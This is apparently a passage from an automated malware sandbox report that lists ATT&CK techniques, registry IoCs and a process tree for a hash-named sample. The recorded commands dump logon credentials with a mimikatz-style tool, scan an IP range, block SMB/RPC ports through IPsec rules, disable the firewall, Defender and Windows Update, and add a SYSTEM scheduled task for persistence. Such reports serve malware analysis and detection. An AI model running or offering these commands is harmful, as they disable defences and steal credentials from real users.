Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iqptattte.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	varpws.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zvueslg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rxtrust.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

Processes:

cmd.exePING.EXE

pid	Process
3376	cmd.exe
1832	PING.EXE

NSIS installer 3 IoCs

installer

Processes:

resource	yara_rule
behavioral2/files/0x0008000000023cc2-6.dat	nsis_installer_2
behavioral2/files/0x0011000000023ce8-16.dat	nsis_installer_1
behavioral2/files/0x0011000000023ce8-16.dat	nsis_installer_2

Modifies data under HKEY_USERS 9 IoCs

Processes:

zvueslg.exe

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	zvueslg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	zvueslg.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	zvueslg.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	zvueslg.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	zvueslg.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	zvueslg.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	zvueslg.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	zvueslg.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	zvueslg.exe

Modifies registry class 14 IoCs

Processes:

zvueslg.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	zvueslg.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

Processes:

PING.EXE

pid	Process
1832	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exe

pid	Process
2260	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

zvueslg.exe

pid	Process
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe
112	zvueslg.exe

Suspicious behavior: LoadsDriver 15 IoCs

Processes:

pid	Process
652
652
652
652
652
652
652
652
652
652
652
652
652
652
652

Suspicious behavior: RenamesItself 1 IoCs

Processes:

4f8ad08ebce9783e772d3456f6f5a9066f2b11d2de977184e9e5c8dbe5832034.exe

pid	Process
3316	4f8ad08ebce9783e772d3456f6f5a9066f2b11d2de977184e9e5c8dbe5832034.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

4f8ad08ebce9783e772d3456f6f5a9066f2b11d2de977184e9e5c8dbe5832034.exezvueslg.exezvueslg.exevfshost.exeeilqub.exe

description	pid	Process
Token: SeDebugPrivilege	3316	4f8ad08ebce9783e772d3456f6f5a9066f2b11d2de977184e9e5c8dbe5832034.exe
Token: SeDebugPrivilege	3356	zvueslg.exe
Token: SeDebugPrivilege	112	zvueslg.exe
Token: SeDebugPrivilege	4480	vfshost.exe
Token: SeLockMemoryPrivilege	2072	eilqub.exe
Token: SeLockMemoryPrivilege	2072	eilqub.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

4f8ad08ebce9783e772d3456f6f5a9066f2b11d2de977184e9e5c8dbe5832034.exezvueslg.exezvueslg.exerxtrust.exevarpws.exezvueslg.exezvueslg.exe

pid	Process
3316	4f8ad08ebce9783e772d3456f6f5a9066f2b11d2de977184e9e5c8dbe5832034.exe
3356	zvueslg.exe
112	zvueslg.exe
3316	rxtrust.exe
4268	varpws.exe
1204	zvueslg.exe
5664	zvueslg.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

4f8ad08ebce9783e772d3456f6f5a9066f2b11d2de977184e9e5c8dbe5832034.execmd.exezvueslg.execmd.execmd.exewpcap.exenet.exenet.exenet.exenet.exe

description	pid	Process	procid_target
PID 3316 wrote to memory of 3376	3316	4f8ad08ebce9783e772d3456f6f5a9066f2b11d2de977184e9e5c8dbe5832034.exe	84
PID 3316 wrote to memory of 3376	3316	4f8ad08ebce9783e772d3456f6f5a9066f2b11d2de977184e9e5c8dbe5832034.exe	84
PID 3316 wrote to memory of 3376	3316	4f8ad08ebce9783e772d3456f6f5a9066f2b11d2de977184e9e5c8dbe5832034.exe	84
PID 3376 wrote to memory of 1832	3376	cmd.exe	86
PID 3376 wrote to memory of 1832	3376	cmd.exe	86
PID 3376 wrote to memory of 1832	3376	cmd.exe	86
PID 3376 wrote to memory of 3356	3376	cmd.exe	95
PID 3376 wrote to memory of 3356	3376	cmd.exe	95
PID 3376 wrote to memory of 3356	3376	cmd.exe	95
PID 112 wrote to memory of 1756	112	zvueslg.exe	97
PID 112 wrote to memory of 1756	112	zvueslg.exe	97
PID 112 wrote to memory of 1756	112	zvueslg.exe	97
PID 1756 wrote to memory of 4740	1756	cmd.exe	99
PID 1756 wrote to memory of 4740	1756	cmd.exe	99
PID 1756 wrote to memory of 4740	1756	cmd.exe	99
PID 1756 wrote to memory of 1984	1756	cmd.exe	100
PID 1756 wrote to memory of 1984	1756	cmd.exe	100
PID 1756 wrote to memory of 1984	1756	cmd.exe	100
PID 1756 wrote to memory of 1444	1756	cmd.exe	101
PID 1756 wrote to memory of 1444	1756	cmd.exe	101
PID 1756 wrote to memory of 1444	1756	cmd.exe	101
PID 1756 wrote to memory of 932	1756	cmd.exe	102
PID 1756 wrote to memory of 932	1756	cmd.exe	102
PID 1756 wrote to memory of 932	1756	cmd.exe	102
PID 1756 wrote to memory of 4908	1756	cmd.exe	103
PID 1756 wrote to memory of 4908	1756	cmd.exe	103
PID 1756 wrote to memory of 4908	1756	cmd.exe	103
PID 1756 wrote to memory of 4360	1756	cmd.exe	104
PID 1756 wrote to memory of 4360	1756	cmd.exe	104
PID 1756 wrote to memory of 4360	1756	cmd.exe	104
PID 112 wrote to memory of 916	112	zvueslg.exe	106
PID 112 wrote to memory of 916	112	zvueslg.exe	106
PID 112 wrote to memory of 916	112	zvueslg.exe	106
PID 112 wrote to memory of 1172	112	zvueslg.exe	108
PID 112 wrote to memory of 1172	112	zvueslg.exe	108
PID 112 wrote to memory of 1172	112	zvueslg.exe	108
PID 112 wrote to memory of 3264	112	zvueslg.exe	116
PID 112 wrote to memory of 3264	112	zvueslg.exe	116
PID 112 wrote to memory of 3264	112	zvueslg.exe	116
PID 3264 wrote to memory of 4696	3264	cmd.exe	118
PID 3264 wrote to memory of 4696	3264	cmd.exe	118
PID 3264 wrote to memory of 4696	3264	cmd.exe	118
PID 4696 wrote to memory of 4308	4696	wpcap.exe	119
PID 4696 wrote to memory of 4308	4696	wpcap.exe	119
PID 4696 wrote to memory of 4308	4696	wpcap.exe	119
PID 4308 wrote to memory of 2644	4308	net.exe	121
PID 4308 wrote to memory of 2644	4308	net.exe	121
PID 4308 wrote to memory of 2644	4308	net.exe	121
PID 4696 wrote to memory of 4300	4696	wpcap.exe	122
PID 4696 wrote to memory of 4300	4696	wpcap.exe	122
PID 4696 wrote to memory of 4300	4696	wpcap.exe	122
PID 4300 wrote to memory of 2500	4300	net.exe	124
PID 4300 wrote to memory of 2500	4300	net.exe	124
PID 4300 wrote to memory of 2500	4300	net.exe	124
PID 4696 wrote to memory of 4244	4696	wpcap.exe	125
PID 4696 wrote to memory of 4244	4696	wpcap.exe	125
PID 4696 wrote to memory of 4244	4696	wpcap.exe	125
PID 4244 wrote to memory of 1560	4244	net.exe	127
PID 4244 wrote to memory of 1560	4244	net.exe	127
PID 4244 wrote to memory of 1560	4244	net.exe	127
PID 4696 wrote to memory of 4900	4696	wpcap.exe	128
PID 4696 wrote to memory of 4900	4696	wpcap.exe	128
PID 4696 wrote to memory of 4900	4696	wpcap.exe	128
PID 4900 wrote to memory of 1216	4900	net.exe	130

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1620
- C:\Windows\TEMP\vtqquupde\eilqub.exe
  "C:\Windows\TEMP\vtqquupde\eilqub.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2072

C:\Users\Admin\AppData\Local\Temp\4f8ad08ebce9783e772d3456f6f5a9066f2b11d2de977184e9e5c8dbe5832034.exe
"C:\Users\Admin\AppData\Local\Temp\4f8ad08ebce9783e772d3456f6f5a9066f2b11d2de977184e9e5c8dbe5832034.exe"
1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3316
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\qbpudlti\zvueslg.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3376
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1832
- - C:\Windows\qbpudlti\zvueslg.exe
    C:\Windows\qbpudlti\zvueslg.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:3356

C:\Windows\qbpudlti\zvueslg.exe
C:\Windows\qbpudlti\zvueslg.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Indicator Removal: Clear Persistence
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:112
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1756
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4740
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1984
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1444
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:932
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4908
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4360
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:916
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1172
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\ellgzquyp\liufublgq\wpcap.exe /S
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3264
- - C:\Windows\ellgzquyp\liufublgq\wpcap.exe
    C:\Windows\ellgzquyp\liufublgq\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:4696
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4308
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        
        PID:2644
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4300
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        
        PID:2500
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4244
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1560
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4900
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1216
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2320
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:1644
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:384
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1568
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:5080
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:680
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\ellgzquyp\liufublgq\iqptattte.exe -p 80 119.63.100.1-119.63.255.255 --rate=1024 -oJ C:\Windows\ellgzquyp\liufublgq\Scant.txt
  2⤵
  PID:3652
- - C:\Windows\ellgzquyp\liufublgq\iqptattte.exe
    C:\Windows\ellgzquyp\liufublgq\iqptattte.exe -p 80 119.63.100.1-119.63.255.255 --rate=1024 -oJ C:\Windows\ellgzquyp\liufublgq\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:4360
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\ellgzquyp\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\ellgzquyp\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  PID:3324
- - C:\Windows\ellgzquyp\Corporate\vfshost.exe
    C:\Windows\ellgzquyp\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4480
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ieqnljles" /ru system /tr "cmd /c C:\Windows\ime\zvueslg.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4912
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4980
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "ieqnljles" /ru system /tr "cmd /c C:\Windows\ime\zvueslg.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2260
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3860
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2452
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=FuckingBastards policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2412
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3572
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1204
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1928
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=FuckingBastards policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3256
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2216
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:856
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3908
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=FuckingBastards policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1908
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1636
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  PID:2196
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4056
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:4132
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  PID:3804
- - C:\Windows\SysWOW64\svchost.exe
    C:\Windows\system32\svchost.exe netsh firewall set opmode mode=disable
    3⤵
    PID:2964
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5044
- - C:\Windows\SysWOW64\svchost.exe
    C:\Windows\system32\svchost.exe netsh Advfirewall set allprofiles state off
    3⤵
    PID:2244
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2024
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    PID:2296
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      PID:2112
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  PID:540
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3744
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:5116
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:548
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    PID:2000
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:3860
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  PID:4608
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4968
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3024
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2220
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1084
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:848
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  PID:4000
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3696
- C:\Windows\TEMP\rxtrust.exe
  C:\Windows\TEMP\rxtrust.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:3316
- C:\Windows\SysWOW64\cmd.exe
